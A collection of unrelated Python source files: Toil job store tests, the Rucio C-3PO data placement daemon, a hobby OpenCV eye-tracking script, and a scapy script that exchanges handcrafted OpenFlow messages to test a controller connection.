os.close(fh)
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
fileID = self.jobstore_initialized.write_file(path, job.jobStoreID, cleanup=True)
self.assertTrue(fileID.endswith(os.path.basename(path)))
finally:
os.unlink(path)
def test_jobstore_init_preserves_symlink_path(self):
"""Test that if we provide a fileJobStore with a symlink to a directory, it doesn't de-reference it."""
dir_symlinked_to_original_filestore = None
original_filestore = None
try:
original_filestore = self._createExternalStore()
dir_symlinked_to_original_filestore = f'{original_filestore}-am-i-real'
os.symlink(original_filestore, dir_symlinked_to_original_filestore)
filejobstore_using_symlink = FileJobStore(dir_symlinked_to_original_filestore, fanOut=2)
self.assertEqual(dir_symlinked_to_original_filestore, filejobstore_using_symlink.jobStoreDir)
finally:
if dir_symlinked_to_original_filestore and os.path.exists(dir_symlinked_to_original_filestore):
os.unlink(dir_symlinked_to_original_filestore)
if original_filestore and os.path.exists(original_filestore):
shutil.rmtree(original_filestore)
def test_jobstore_does_not_leak_symlinks(self):
"""Test that if we link imports into the FileJobStore, we can't get hardlinks to symlinks."""
temp_dir = None
download_dir = None
try:
# Grab a temp directory to make files in. Make sure it's on the
# same device as everything else.
temp_dir = os.path.abspath(self.namePrefix + '-import')
os.mkdir(temp_dir)
to_import = os.path.join(temp_dir, 'import-me')
with open(to_import, 'w') as f:
f.write('test')
# And a temp directory next to the job store to download to
download_dir = os.path.abspath(self.namePrefix + '-dl')
os.mkdir(download_dir)
# Import it as a symlink
file_id = self.jobstore_initialized.import_file('file://' + to_import, symlink=True)
# Take it out as a hard link or copy
download_to = os.path.join(download_dir, 'downloaded')
self.jobstore_initialized.read_file(file_id, download_to)
# Make sure it isn't a symlink
self.assertFalse(os.path.islink(download_to))
finally:
if temp_dir and os.path.exists(temp_dir):
# Clean up temp directory
shutil.rmtree(temp_dir)
if download_dir and os.path.exists(download_dir):
# Clean up download directory
shutil.rmtree(download_dir)
@needs_google
@pytest.mark.xfail
class GoogleJobStoreTest(AbstractJobStoreTest.Test):
projectID = os.getenv('TOIL_GOOGLE_PROJECTID')
headers = {"x-goog-project-id": projectID}
def _createJobStore(self):
from toil.jobStores.googleJobStore import GoogleJobStore
return GoogleJobStore(GoogleJobStoreTest.projectID + ":" + self.namePrefix)
def _corruptJobStore(self):
# The Google job store has only one resource, the bucket, so we can't corrupt it without
# fully deleting it.
pass
def _prepareTestFile(self, bucket, size=None):
from toil.jobStores.googleJobStore import GoogleJobStore
fileName = 'testfile_%s' % uuid.uuid4()
url = f'gs://{bucket.name}/{fileName}'
if size is None:
return url
with open('/dev/urandom', 'rb') as readable:
contents = str(readable.read(size))
GoogleJobStore._write_to_url(BytesIO(bytes(contents, 'utf-8')), urlparse.urlparse(url))
return url, hashlib.md5(contents.encode()).hexdigest()
def _hashTestFile(self, url):
from toil.jobStores.googleJobStore import GoogleJobStore
contents = GoogleJobStore._get_blob_from_url(urlparse.urlparse(url)).download_as_string()
return hashlib.md5(contents).hexdigest()
@google_retry
def _createExternalStore(self):
from google.cloud import storage
bucketName = ("import-export-test-" + str(uuid.uuid4()))
storageClient = storage.Client()
return storageClient.create_bucket(bucketName)
@google_retry
def _cleanUpExternalStore(self, bucket):
# this is copied from googleJobStore.destroy
try:
bucket.delete(force=True)
# throws ValueError if bucket has more than 256 objects. Then we must delete manually
except ValueError:
bucket.delete_blobs(bucket.list_blobs)
bucket.delete()
@needs_aws_s3
class AWSJobStoreTest(AbstractJobStoreTest.Test):
def _createJobStore(self):
from toil.jobStores.aws.jobStore import AWSJobStore
partSize = self._partSize()
return AWSJobStore(self.awsRegion() + ':' + self.namePrefix, partSize=partSize)
def _corruptJobStore(self):
from toil.jobStores.aws.jobStore import AWSJobStore
assert isinstance(self.jobstore_initialized, AWSJobStore) # type hinting
self.jobstore_initialized.destroy()
def testSDBDomainsDeletedOnFailedJobstoreBucketCreation(self):
"""
This test ensures that SDB domains bound to a jobstore are deleted if the jobstore bucket
failed to be created. We simulate a failed jobstore bucket creation by using a bucket in a
different region with the same name.
"""
from boto.sdb import connect_to_region
from botocore.exceptions import ClientError
from toil.jobStores.aws.jobStore import (
BucketLocationConflictException,
establish_boto3_session,
)
from toil.jobStores.aws.utils import retry_s3
externalAWSLocation = 'us-west-1'
for testRegion in 'us-east-1', 'us-west-2':
# We run this test twice, once with the default s3 server us-east-1 as the test region
# and once with another server (us-west-2). The external server is always us-west-1.
# This incidentally tests that the BucketLocationConflictException is thrown when using
# both the default, and a non-default server.
testJobStoreUUID = str(uuid.uuid4())
# Create the bucket at the external region
bucketName = 'domain-test-' + testJobStoreUUID + '--files'
client = establish_boto3_session().client('s3', region_name=externalAWSLocation)
resource = establish_boto3_session().resource('s3', region_name=externalAWSLocation)
for attempt in retry_s3(delays=(2, 5, 10, 30, 60), timeout=600):
with attempt:
# Create the bucket at the home region
client.create_bucket(Bucket=bucketName,
CreateBucketConfiguration={'LocationConstraint': externalAWSLocation})
owner_tag = os.environ.get('TOIL_OWNER_TAG')
if owner_tag:
for attempt in retry_s3(delays=(1, 1, 2, 4, 8, 16), timeout=33):
with attempt:
bucket_tagging = resource.BucketTagging(bucketName)
bucket_tagging.put(Tagging={'TagSet': [{'Key': 'Owner', 'Value': owner_tag}]})
options = Job.Runner.getDefaultOptions('aws:' + testRegion + ':domain-test-' + testJobStoreUUID)
options.logLevel = 'DEBUG'
try:
with Toil(options) as toil:
pass
except BucketLocationConflictException:
# Catch the expected BucketLocationConflictException and ensure that the bound
# domains don't exist in SDB.
sdb = connect_to_region(self.awsRegion())
next_token = None
allDomainNames = []
while True:
domains = sdb.get_all_domains(max_domains=100, next_token=next_token)
allDomainNames.extend([x.name for x in domains])
next_token = domains.next_token
if next_token is None:
break
self.assertFalse([d for d in allDomainNames if testJobStoreUUID in d])
else:
self.fail()
finally:
try:
for attempt in retry_s3():
with attempt:
client.delete_bucket(Bucket=bucketName)
except ClientError as e:
# The actual HTTP code of the error is in status.
if e.response.get('ResponseMetadata', {}).get('HTTPStatusCode') == 404:
# The bucket doesn't exist; maybe a failed delete actually succeeded.
pass
else:
raise
@slow
def testInlinedFiles(self):
from toil.jobStores.aws.jobStore import AWSJobStore
jobstore = self.jobstore_initialized
for encrypted in (True, False):
n = AWSJobStore.FileInfo.maxInlinedSize()
sizes = (1, n // 2, n - 1, n, n + 1, 2 * n)
for size in chain(sizes, islice(reversed(sizes), 1)):
s = os.urandom(size)
with jobstore.write_shared_file_stream('foo') as f:
f.write(s)
with jobstore.read_shared_file_stream('foo') as f:
self.assertEqual(s, f.read())
def testOverlargeJob(self):
jobstore = self.jobstore_initialized
jobRequirements = dict(memory=12, cores=34, disk=35, preemptable=True)
overlargeJob = JobDescription(command='overlarge',
requirements=jobRequirements,
jobName='test-overlarge', unitName='onJobStore')
# Make the pickled size of the job larger than 256K
with open("/dev/urandom", 'rb') as random:
overlargeJob.jobName = str(random.read(512 * 1024))
jobstore.assign_job_id(overlargeJob)
jobstore.create_job(overlargeJob)
self.assertTrue(jobstore.job_exists(overlargeJob.jobStoreID))
overlargeJobDownloaded = jobstore.load_job(overlargeJob.jobStoreID)
# Because jobs lack equality comparison, we stringify for comparison.
jobsInJobStore = [str(job) for job in jobstore.jobs()]
self.assertEqual(jobsInJobStore, [str(overlargeJob)])
jobstore.delete_job(overlargeJob.jobStoreID)
def testMultiThreadImportFile(self) -> None:
""" Tests that importFile is thread-safe."""
from concurrent.futures.thread import ThreadPoolExecutor
from toil.lib.threading import cpu_count
threads: Tuple[int, ...] = (2, cpu_count()) if cpu_count() > 2 else (2, )
num_of_files: int = 5
size: int = 1 << 16 + 1
# The string in otherCls() is arbitrary as long as it returns a class that has access
# to ._externalStore() and ._prepareTestFile()
other: AbstractJobStoreTest.Test = AWSJobStoreTest('testSharedFiles')
store: Any = other._externalStore()
# prepare test files to import
logger.debug(f'Preparing {num_of_files} test files for testMultiThreadImportFile().')
test_files = [other._prepareTestFile(store, size) for _ in range(num_of_files)]
for thread_count in threads:
with self.subTest(f'Testing threaded importFile with "{thread_count}" threads.'):
results = []
with ThreadPoolExecutor(max_workers=thread_count) as executor:
for url, expected_md5 in test_files:
# run jobStore.importFile() asynchronously
future = executor.submit(self.jobstore_initialized.import_file, url)
results.append((future, expected_md5))
self.assertEqual(len(results), num_of_files)
for future, expected_md5 in results:
file_id = future.result()
self.assertIsInstance(file_id, FileID)
with self.jobstore_initialized.read_file_stream(file_id) as f:
self.assertEqual(hashlib.md5(f.read()).hexdigest(), expected_md5)
def _prepareTestFile(self, bucket, size=None):
from toil.jobStores.aws.utils import retry_s3
file_name = 'testfile_%s' % uuid.uuid4()
url = f's3://{bucket.name}/{file_name}'
if size is None:
return url
with open('/dev/urandom', 'rb') as readable:
for attempt in retry_s3():
with attempt:
bucket.put_object(Key=file_name, Body=str(readable.read(size)))
return url, hashlib.md5(bucket.Object(file_name).get().get('Body').read()).hexdigest()
def _hashTestFile(self, url: str) -> str:
from toil.jobStores.aws.jobStore import AWSJobStore
key = AWSJobStore._get_object_for_url(urlparse.urlparse(url), existing=True)
contents = key.get().get('Body').read()
return hashlib.md5(contents).hexdigest()
def _createExternalStore(self):
"""A S3.Bucket instance is returned"""
from toil.jobStores.aws.jobStore import establish_boto3_session
from toil.jobStores.aws.utils import retry_s3
resource = establish_boto3_session().resource(
"s3", region_name=self.awsRegion()
)
bucket_name = f"import-export-test-{uuid.uuid4()}"
location = self.awsRegion()
for attempt in retry_s3():
with attempt:
bucket = create_s3_bucket(resource, bucket_name, location)
bucket.wait_until_exists()
return bucket
def _cleanUpExternalStore(self, bucket):
bucket.objects.all().delete()
bucket.delete()
def _largeLogEntrySize(self):
from toil.jobStores.aws.jobStore import AWSJobStore
# So we get into the else branch of reader() in uploadStream(multiPart=False):
return AWSJobStore.FileInfo.maxBinarySize() * 2
def _batchDeletionSize(self):
from toil.jobStores.aws.jobStore import AWSJobStore
return AWSJobStore.itemsPerBatchDelete
@needs_aws_s3
class InvalidAWSJobStoreTest(ToilTest):
def testInvalidJobStoreName(self):
from toil.jobStores.aws.jobStore import AWSJobStore
self.assertRaises(ValueError,
AWSJobStore,
'us-west-2:a--b')
self.assertRaises(ValueError,
AWSJobStore,
'us-west-2:' + ('a' * 100))
self.assertRaises(ValueError,
AWSJobStore,
'us-west-2:a_b')
@needs_aws_s3
@needs_encryption
@slow
class EncryptedAWSJobStoreTest(AWSJobStoreTest, AbstractEncryptedJobStoreTest.Test):
pass
class StubHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
fileContents = 'A good programmer looks both ways before crossing a one-way street'
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-length", len(self.fileContents))
self.end_headers()
self.fileContents = self.fileContents.encode('utf-8')
self.wfile.write(self.fileContents)
AbstractJobStoreTest.Test.makeImportExportTests()
|
c3po.py | # -*- coding: utf-8 -*-
# Copyright 2015-2020 CERN
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# - Thomas Beermann <thomas.beermann@cern.ch>, 2015-2017
# - Vincent Garonne <vincent.garonne@cern.ch>, 2017-2018
# - Hannes Hansen <hannes.jakob.hansen@cern.ch>, 2018-2019
# - Andrew Lister <andrew.lister@stfc.ac.uk>, 2019
# - Patrick Austin <patrick.austin@stfc.ac.uk>, 2020
# - Benedikt Ziemons <benedikt.ziemons@cern.ch>, 2020
'''
Dynamic data placement daemon.
'''
import logging
from datetime import datetime
from hashlib import md5
from json import dumps
from sys import stdout
from threading import Event, Thread
from time import sleep
from uuid import uuid4
from requests import post
from requests.auth import HTTPBasicAuth
from requests.exceptions import RequestException
from six import string_types
import rucio.db.sqla.util
from rucio.client import Client
from rucio.common import exception
from rucio.common.config import config_get, config_get_options
from rucio.common.types import InternalScope
from rucio.daemons.c3po.collectors.free_space import FreeSpaceCollector
from rucio.daemons.c3po.collectors.jedi_did import JediDIDCollector
from rucio.daemons.c3po.collectors.workload import WorkloadCollector
try:
from Queue import Queue
except ImportError:
from queue import Queue
logging.basicConfig(stream=stdout,
level=getattr(logging,
config_get('common', 'loglevel',
raise_exception=False,
default='DEBUG').upper()),
format='%(asctime)s\t%(process)d\t%(levelname)s\t%(message)s')
GRACEFUL_STOP = Event()
def read_free_space(once=False, thread=0, waiting_time=1800):
"""
Thread to collect the space usage information for RSEs.
"""
free_space_collector = FreeSpaceCollector()
timer = waiting_time
while not GRACEFUL_STOP.is_set():
if timer < waiting_time:
timer += 10
sleep(10)
continue
logging.info('collecting free space')
free_space_collector.collect_free_space()
timer = 0
def read_workload(once=False, thread=0, waiting_time=1800):
"""
Thread to collect the workload information from PanDA.
"""
workload_collector = WorkloadCollector()
timer = waiting_time
while not GRACEFUL_STOP.is_set():
if timer < waiting_time:
timer += 10
sleep(10)
continue
logging.info('collecting workload')
workload_collector.collect_workload()
timer = 0
def print_workload(once=False, thread=0, waiting_time=600):
"""
Thread to regularly output the workload to logs for debugging.
"""
workload_collector = WorkloadCollector()
timer = waiting_time
while not GRACEFUL_STOP.is_set():
if timer < waiting_time:
timer += 10
sleep(10)
continue
logging.info('Number of sites cached %d' % len(workload_collector.get_sites()))
for site in workload_collector.get_sites():
logging.info('%s: %d / %d / %d' % (site, workload_collector.get_cur_jobs(site), workload_collector.get_avg_jobs(site), workload_collector.get_max_jobs(site)))
timer = 0
def read_dids(once=False, thread=0, did_collector=None, waiting_time=60):
"""
Thread to collect DIDs for the placement algorithm.
"""
timer = waiting_time
while not GRACEFUL_STOP.is_set():
if timer < waiting_time:
timer += 10
sleep(10)
continue
did_collector.get_dids()
timer = 0
def add_rule(client, did, src_rse, dst_rse):
logging.debug('add rule for %s from %s to %s' % (did, src_rse, dst_rse))
r = client.add_replication_rule([did, ], 1, dst_rse, lifetime=604800, account='c3po', source_replica_expression=src_rse, activity='Data Brokering', asynchronous=True)
logging.debug(r)
def place_replica(once=False,
thread=0,
did_queue=None,
waiting_time=100,
dry_run=False,
sampling=False,
algorithms='t2_free_space_only_pop_with_network',
datatypes='NTUP,DAOD',
dest_rse_expr='type=DATADISK',
max_bytes_hour=100000000000000,
max_files_hour=100000,
max_bytes_hour_rse=50000000000000,
max_files_hour_rse=10000,
min_popularity=8,
min_recent_requests=5,
max_replicas=5):
"""
Thread to run the placement algorithm to decide if and where to put new replicas.
"""
try:
c3po_options = config_get_options('c3po')
client = None
if 'algorithms' in c3po_options:
algorithms = config_get('c3po', 'algorithms')
algorithms = algorithms.split(',')
if not dry_run:
if len(algorithms) != 1:
logging.error('Multiple algorithms are only allowed in dry_run mode')
return
client = Client(auth_type='x509_proxy', account='c3po', creds={'client_proxy': '/opt/rucio/etc/ddmadmin.long.proxy'})
vo = client.vo
instances = {}
for algorithm in algorithms:
module_path = 'rucio.daemons.c3po.algorithms.' + algorithm
module = __import__(module_path, globals(), locals(), ['PlacementAlgorithm'])
instance = module.PlacementAlgorithm(datatypes, dest_rse_expr, max_bytes_hour, max_files_hour, max_bytes_hour_rse, max_files_hour_rse, min_popularity, min_recent_requests, max_replicas)
instances[algorithm] = instance
params = {
'dry_run': dry_run,
'sampling': sampling,
'datatypes': datatypes,
'dest_rse_expr': dest_rse_expr,
'max_bytes_hour': max_bytes_hour,
'max_files_hour': max_files_hour,
'max_bytes_hour_rse': max_bytes_hour_rse,
'max_files_hour_rse': max_files_hour_rse,
'min_recent_requests': min_recent_requests,
'min_popularity': min_popularity
}
instance_id = str(uuid4()).split('-')[0]
elastic_url = config_get('c3po', 'elastic_url')
elastic_index = config_get('c3po', 'elastic_index')
ca_cert = False
if 'ca_cert' in c3po_options:
ca_cert = config_get('c3po', 'ca_cert')
auth = False
if ('elastic_user' in c3po_options) and ('elastic_pass' in c3po_options):
auth = HTTPBasicAuth(config_get('c3po', 'elastic_user'), config_get('c3po', 'elastic_pass'))
w = waiting_time
while not GRACEFUL_STOP.is_set():
if w < waiting_time:
w += 10
sleep(10)
continue
len_dids = did_queue.qsize()
if len_dids > 0:
logging.debug('(%s) %d did(s) in queue' % (instance_id, len_dids))
else:
logging.debug('(%s) no dids in queue' % (instance_id))
for _ in range(0, len_dids):
did = did_queue.get()
if isinstance(did[0], string_types):
did[0] = InternalScope(did[0], vo=vo)
for algorithm, instance in instances.items():
logging.info('(%s:%s) Retrieved %s:%s from queue. Run placement algorithm' % (algorithm, instance_id, did[0], did[1]))
decision = instance.place(did)
decision['@timestamp'] = datetime.utcnow().isoformat()
decision['algorithm'] = algorithm
decision['instance_id'] = instance_id
decision['params'] = params
create_rule = True
if sampling and 'error_reason' not in decision:
create_rule = bool(ord(md5(decision['did']).hexdigest()[-1]) & 1)
decision['create_rule'] = create_rule
# write the output to ES for further analysis
index_url = elastic_url + '/' + elastic_index + '-' + datetime.utcnow().strftime('%Y-%m') + '/record/'
try:
if ca_cert:
r = post(index_url, data=dumps(decision), verify=ca_cert, auth=auth)
else:
r = post(index_url, data=dumps(decision))
if r.status_code != 201:
logging.error(r)
logging.error('(%s:%s) could not write to ElasticSearch' % (algorithm, instance_id))
except RequestException as e:
logging.error('(%s:%s) could not write to ElasticSearch' % (algorithm, instance_id))
logging.error(e)
continue
logging.debug(decision)
if 'error_reason' in decision:
logging.error('(%s:%s) The placement algorithm ran into an error: %s' % (algorithm, instance_id, decision['error_reason']))
continue
logging.info('(%s:%s) Decided to place a new replica for %s on %s' % (algorithm, instance_id, decision['did'], decision['destination_rse']))
if (not dry_run) and create_rule:
# DO IT!
try:
add_rule(client, {'scope': did[0].external, 'name': did[1]}, decision.get('source_rse'), decision.get('destination_rse'))
except exception.RucioException as e:
logging.debug(e)
w = 0
except Exception as e:
logging.critical(e)
def stop(signum=None, frame=None):
"""
Graceful exit.
"""
GRACEFUL_STOP.set()
def run(once=False,
threads=1,
only_workload=False,
dry_run=False,
sampling=False,
algorithms='t2_free_space_only_pop_with_network',
datatypes='NTUP,DAOD',
dest_rse_expr='type=DATADISK',
max_bytes_hour=100000000000000,
max_files_hour=100000,
max_bytes_hour_rse=50000000000000,
max_files_hour_rse=10000,
min_popularity=8,
min_recent_requests=5,
max_replicas=5):
"""
Starts up the main thread
"""
if rucio.db.sqla.util.is_old_db():
raise exception.DatabaseException('Database was not updated, daemon won\'t start')
logging.info('activating C-3PO')
thread_list = []
try:
if only_workload:
logging.info('running in workload-collector-only mode')
thread_list.append(Thread(target=read_workload, name='read_workload', kwargs={'thread': 0, 'waiting_time': 1800}))
thread_list.append(Thread(target=print_workload, name='print_workload', kwargs={'thread': 0, 'waiting_time': 600}))
else:
logging.info('running in placement mode')
did_queue = Queue()
dc = JediDIDCollector(did_queue)
thread_list.append(Thread(target=read_free_space, name='read_free_space', kwargs={'thread': 0, 'waiting_time': 1800}))
thread_list.append(Thread(target=read_dids, name='read_dids', kwargs={'thread': 0, 'did_collector': dc}))
thread_list.append(Thread(target=place_replica, name='place_replica', kwargs={'thread': 0,
'did_queue': did_queue,
'waiting_time': 10,
'algorithms': algorithms,
'dry_run': dry_run,
'sampling': sampling,
'datatypes': datatypes,
'dest_rse_expr': dest_rse_expr,
'max_bytes_hour': max_bytes_hour,
'max_files_hour': max_files_hour,
'max_bytes_hour_rse': max_bytes_hour_rse,
'max_files_hour_rse': max_files_hour_rse,
'min_popularity': min_popularity,
'min_recent_requests': min_recent_requests,
'max_replicas': max_replicas}))
for t in thread_list:
t.start()
logging.info('waiting for interrupts')
while len(thread_list) > 0:
[t.join(timeout=3) for t in thread_list if t and t.isAlive()]
except Exception as error:
logging.critical(error)
|
EyeTrackVR.py | import cv2
import numpy as np
import threading
import time
import os
try:
fy= open("camport.txt","r+")
camport = fy.read().strip()
fy.close
except:
camport = 0
cam = open('camport.txt', 'w+')
cam.write('0')
cam.close
print('Error: Run Gui first and adjust camera port')
time.sleep(1)
bl = False
cap = cv2.VideoCapture(int(camport))
width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)
height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)
print(width, height)
def lefteye():
x = 1 #defining variables for smoothing
y = 1
x1 = 1
y1 = 1
h = 1 #defines hight value so blink check doesnt error out
def smooth(x, x1, y, y1):
xsmooth = (x1 + x) / 2
ysmooth = (y1 + y) / 2
print('x filtered:', xsmooth, 'y filtered:', ysmooth, 'x raw:', x, 'y raw:', y)
#print('x raw:', x, 'y raw:', y)
while True: #loop for eye detection
ret, frame = cap.read()
if ret is False:
break
################################################ Reads values set in gui, needs rework to single config file
try:
fy= open("valueY.txt","r+")
vy = fy.read().strip()
fy.close
except:
vy = str(height)
v= open("valueY.txt","w+")
v.write(vy)
v.close()
print('WARNING: Run Gui first and adjust Value Y')
#time.sleep(2)
################################################
try:
fx= open("valueX.txt","r+")
vx = fx.read().strip()
fx.close
except:
vx = str(width)
fx= open("valueX.txt","w+")
fx.write(vx)
fx.close()
print('WARNING: Run Gui first and adjust Value X')
#time.sleep(2)
################################################
try:
vyll= open("valueYl.txt","r+")
vyl = vyll.read().strip()
vyll.close
except:
vyll= open("valueYl.txt","w+")
vyll.write('1')
vyll.close
vyl = 1
print('WARNING: Run Gui first and adjust Value Y L')
time.sleep(1)
################################################
try:
vxll= open("valueXl.txt","r+")
vxl = vxll.read().strip()
vxll.close
except:
vxl = 1
vyll= open("valueXl.txt","w+")
vyl = vyll.write('1')
vyll.close
print('Error: Run Gui first and adjust Value X L')
time.sleep(1)
################################################
try:
thresh= open("thresh.txt","r+")
threshr = thresh.read().strip()
thresh.close
except:
thresh= open("thresh.txt","w+")
threshr = thresh.write('19')
thresh.close
print('WARNING: Run Gui first and adjust threshold value')
threshr = 19
time.sleep(1)
################################################
# try:
try: # trys at set size if it errors it will revert to working size/ doesnt do what was orrigionally planed, it kinda helps
roi = frame[int(vxl): int(float(vy)), int(vyl): int(float(vx))]
except:
roi = frame[100: 300, 200: 316]
try:
x1 = x
y1 = y
rows, cols, _ = roi.shape
gray_roi = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)
gray_roi = cv2.GaussianBlur(gray_roi, (7, 7), 0)
_, threshold = cv2.threshold(gray_roi, int(threshr), 255, cv2.THRESH_BINARY_INV)
contours, _ = cv2.findContours(threshold, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
contours = sorted(contours, key=lambda x: cv2.contourArea(x), reverse=True)
for cnt in contours:
(x, y, w, h) = cv2.boundingRect(cnt)
openes = 95
if h <= 25: #way to find if eye is closed and sets value (hopefully will train tensorflow model for correct openess detection)
openes = 0
smooth(x, x1, y, y1)
#print('Left: x:', x, 'y:', y, 'openess:', openes)
#print('Right: x:', x, 'y:', y, 'openess:', openes)
cv2.line(threshold, (x + int(w/2), 0), (x + int(w/2), rows), (255, 0, 0), 1) #visualizes eyetracking on threshold
cv2.line(threshold, (0, y + int(h/2)), (cols, y + int(h/2)), (255, 0, 0), 1)
cv2.drawContours(threshold, [cnt], -1, (255, 0, 0), 3)
cv2.rectangle(threshold, (x, y), (x + w, y + h), (255, 0, 0), 2)
cv2.line(gray_roi, (x + int(w/2), 0), (x + int(w/2), rows), (255, 0, 0), 1) #visualizes eyetracking on greyscale
cv2.line(gray_roi, (0, y + int(h/2)), (cols, y + int(h/2)), (255, 0, 0), 1)
cv2.drawContours(gray_roi, [cnt], -1, (255, 0, 0), 3)
cv2.rectangle(gray_roi, (x, y), (x + w, y + h), (255, 0, 0), 2)
break
if h == 0: #basically useless lol
print('no eye detected"')
cv2.imshow("Threshold", threshold)
cv2.imshow("GreyScale", gray_roi)
#cv2.imshow("Roi", roi)
key = cv2.waitKey(30)
except:
print('ERROR 1: Something went wrong trying to track your eye.')
print('###############> initailizing <###############')
cv2.destroyAllWindows()
if __name__ == '__main__':
lefteye()
#t1 = threading.Thread(target=lefteye)
#t2 = threading.Thread(target=righteye)
#t1.start()
#t2.start()
#t1.join()
#t2.join()
print('Running:')
|
TCP_OFPTxx.py | """Questo è il file che mi serve per testare in TCP la riuscita della connessione """
import copy
import ctypes
import random
from threading import Thread
import dataclasses
import socket
from time import sleep
from pyof.foundation.basic_types import UBInt32, UBInt16, UBInt8, UBInt64, DPID
from pyof.utils import unpack, validate_packet
from pyof.v0x04.asynchronous.packet_in import PacketIn
from pyof.v0x01.common.action import ActionType
from pyof.v0x04.common.header import Header
from pyof.v0x04.controller2switch.features_reply import FeaturesReply
from pyof.v0x01.controller2switch.features_reply import Capabilities
from pyof.v0x04.asynchronous.packet_in import PacketInReason
from pyof.v0x04.controller2switch.flow_mod import FlowMod
from pyof.v0x04.symmetric.echo_reply import EchoReply
from pyof.v0x04.symmetric.echo_request import EchoRequest
from pyof.v0x04.symmetric.hello import Hello
from scapy.config import conf
from scapy.layers.inet import IP, ICMP, TCP
from scapy.layers.l2 import Ether, ARP
from scapy.packet import Raw, Padding
from scapy.sendrecv import sr1
from scapy.supersocket import StreamSocket
from scapy.utils import rdpcap
# sniff(prn=lambda x:unpack(bytes(x.payload.load)), filter="tcp", lfilter = lambda x: x[TCP].flags !="A")
@dataclasses.dataclass
class TLV:
"""
Formato generico di rappresentazione dei parametri di rete, tutti sono in questo modo
"""
type: int
length: int
value: bytes
subtype: int = None
class LLDP(object):
"""
Questa classe rappresenta il pacchetto LLDP come da `RFC 4957 <https://datatracker.ietf.org/doc/html/rfc4957>`_. Una
delle "references" lì punta allo standard `IEEE-802.1ab <https://standards.ieee.org/standard/802_1AB-2016.html>`_.
Troviamo in quello standard la descrizione del LLDPDU per la segnalazione dei dispositivi sulla rete.
========= ======== ========
Chassis Port TTL
========= ======== ========
Type Type Type
Subtype Subtype Subtype
Length Length Length
Value Value Value
========= ======== ========
"""
def __init__(self, raw_str):
self._raw = bytes(raw_str)
@property
def chassis(self):
return TLV(
type=int(bytes.hex(self._raw[0:1]), 16) >> 1,
length=int(bytes.hex(self._raw[1:2]), 16),
subtype=int(bytes.hex(self._raw[2:3]), 16),
value=self._raw[3:24],
)
@property
def port(self):
return TLV(
type=int(bytes.hex(self._raw[24:25]), 16) >> 1,
length=int(bytes.hex(self._raw[25:26]), 16),
subtype=int(bytes.hex(self._raw[26:27]), 16),
value=self._raw[27:31]
)
@property
def TTL(self):
return TLV(
type=bytes.hex(self._raw[31:32]),
length=bytes.hex(self._raw[32:33]),
value=bytes.hex(self._raw[33:35]),
)
def SUN_LEN(path):
"""For AF_UNIX the addrlen is *not* sizeof(struct sockaddr_un)"""
return ctypes.c_int(2 + len(path))
def echo_loop(stream_sock, packet):
j = 0
first_request = copy.deepcopy(packet)
header = unpack(bytes(first_request.res[0].answer)).header
while j < 10:
result, _ = stream_sock.sr(Raw(EchoReply(xid=header.xid).pack()))
reply_packet = unpack(bytes(result.res[0].answer))
print(reply_packet.header)
header = reply_packet.header
class TLV_DPID(ctypes.Structure):
"""
In base al codice del type capisci che tipo di struttura dati DPID, farò lo stesso con i tipi diversi di pacchetto
"""
_fields_ = [("type", ctypes.c_uint8), ("length", ctypes.c_uint8), ("value", 16 * ctypes.c_char)]
class sockaddr_in(ctypes.Structure):
_fields_ = [("dpid", 18 * ctypes.c_byte),
("sin_addr", ctypes.c_byte * 4), ] # DPID switch e ipaddr da cui proviene questo pacchetto (datapath)
class AnnouncePacket(ctypes.Structure):
"""
Attenzione, il "announcement" packet dev'essere fatto con ctypes perché devo avere il controllo della lunghezza di
ogni singolo campo così che posso decodificarlo al volo perché non posso saperlo a priori!
"""
_fields_ = [("type", ctypes.c_uint8), ("length", ctypes.c_uint8), ("value", 255 * ctypes.c_char)]
TIMEOUT = 2
conf.verb = 0
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("ip", help="ip address of peer")
args = parser.parse_args()
print(args.ip)
sleep(1) # Facilita l'esecuzione
ip = args.ip
print("Starting TCP sender OpenFlow packet forging...")
packet = IP(dst=str(ip), ttl=20) / ICMP()
reply = sr1(packet, timeout=TIMEOUT)
if not (reply is None):
print(ip, "is online")
else:
print("Timeout waiting for %s" % packet[IP].dst)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
pkt_list = rdpcap("openflow.pcapng")
# Connect the socket to the port where the server is listening
server_address = (str(ip), 6653)
print('connecting to %s port %s' % server_address)
sock.connect(server_address)
mystream = StreamSocket(sock)
fake_pkt = Ether(pkt_list[11])
print(fake_pkt.payload)
try:
print('sending ')
payload = Hello()
scapy_pkt = Raw(payload.pack())
ans = mystream.sr1(scapy_pkt)
print(ans.payload)
# print(unpack(bytes(ans.answer)))
packet = FeaturesReply(xid=UBInt8(1), datapath_id=DPID(str('00:00:00:00:00:00:02:01')),
n_buffers=UBInt32(1), n_tables=UBInt8(0), capabilities=Capabilities.OFPC_ARP_MATCH_IP,
auxiliary_id=UBInt8(1), reserved=UBInt32(0), )
ans, _ = mystream.sr(Raw(packet.pack()))
print(unpack(bytes(ans.res[0].answer)))
echo_packet = EchoRequest(xid=random.Random(), data=b'Ciao')
ans, _ = mystream.sr(Raw(packet.pack()))
response = unpack(bytes(ans.res[0].answer))
pkt_header = response.header
print("Starting echo loop")
ans, _ = mystream.sr(Raw(EchoReply(xid=pkt_header.xid).pack()))
response = unpack(bytes(ans.res[0].answer))
print(response.header)
packet = FeaturesReply(xid=UBInt8(1), datapath_id=DPID(str('00:00:00:00:00:00:02:01')),
n_buffers=UBInt32(1), n_tables=UBInt8(0), capabilities=Capabilities.OFPC_ARP_MATCH_IP,
auxiliary_id=UBInt8(1), reserved=UBInt32(0), )
